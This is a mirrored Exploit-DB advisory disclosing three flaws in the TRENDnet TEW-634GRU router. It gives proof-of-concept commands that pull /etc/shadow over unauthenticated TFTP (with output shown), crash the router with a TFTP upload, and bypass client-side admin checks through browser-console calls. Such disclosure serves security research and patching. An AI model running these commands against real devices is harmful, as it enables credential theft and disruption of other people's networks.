TRENDnet TEW-634GRU 1.00.23 – Multiple Vulnerabilities

• Exploit Database
• 119 阅读

• 作者： SirGod
  日期： 2014-04-29
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/33090/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91

  # Title: TRENDnet TEW-634GRU 1.00.23 Multiple Vulnerabilities # Author: SirGod # Website: www.rstforums.com # Vendor Homepage: http://www.trendnet.com/ # Version: 1.00.23     1. Local file disclosure   The router has the TFTP service enabled by default and it can be accessed without any prior authentication (since TFTP does not support authentication). The whole filesystem is exposed to any person that is connected to the network.   Proof of concept:   sirgod@linuxbox:~$ tftp 192.168.10.1 tftp> get (files) /etc/shadow Received 357 bytes in 0.3 seconds tftp> quit sirgod@linuxbox:~$ cat shadow root::10933:0:99999:7::: Admin:[REMOVED]:10933:0:99999:7::: bin::10933:0:99999:7::: daemon::10933:0:99999:7::: adm::10933:0:99999:7::: lp:*:10933:0:99999:7::: sync:*:10933:0:99999:7::: shutdown:*:10933:0:99999:7::: halt:*:10933:0:99999:7::: uucp:*:10933:0:99999:7::: operator:*:10933:0:99999:7::: nobody::10933:0:99999:7::: ap71::10933:0:99999:7:::     2. Local router crash   If you upload a file to the router, it will crash. You will have to reset it (physically) and reconfigure it. After the file is uploaded, accessing the router's IP will give you a blank page and then it will crash.   Proof of concept:   sirgod@linuxbox:~$ tftp 192.168.10.1 tftp> put (file) /home/file.txt /www/file.txt     3. Privilege escalation   The web app incorporates two types of login: user and admin. Few actions (load settings, reset settings) require an admin account to perform them. The validation is done client-side, in JavaScript. See the following code snippet:   settings.asp   --- START CODE SNIPPET ---   function check_load_settings(){ var login_who="user"; if(login_who== "user"){ window.location.href ="https://www.exploit-db.com/exploits/33090/back.asp"; }else{ if(confirm(msg[MSG17])){ if (get_by_id("file").value == ''){ alert(msg[MSG33]); }else{ send_submit("form1"); } } } } function check_restore_default(){ var login_who="user"; if(login_who== "user"){ window.location.href ="https://www.exploit-db.com/exploits/33090/back.asp"; }else{ if(confirm(msg[MSG34])){ send_submit("form2"); } } }   --- END CODE SNIPPET ---   There are two ways to bypass this:   a) The easy way: submit the form from the JavaScript console, directly from your browser, by running:   send_submit("form2"); // To restore factory default settings send_submit("form3"); // To restore configuration settings (existent). You must select a file beforehand.     b) The other way: You can save the page locally, change the value of the variable and run it.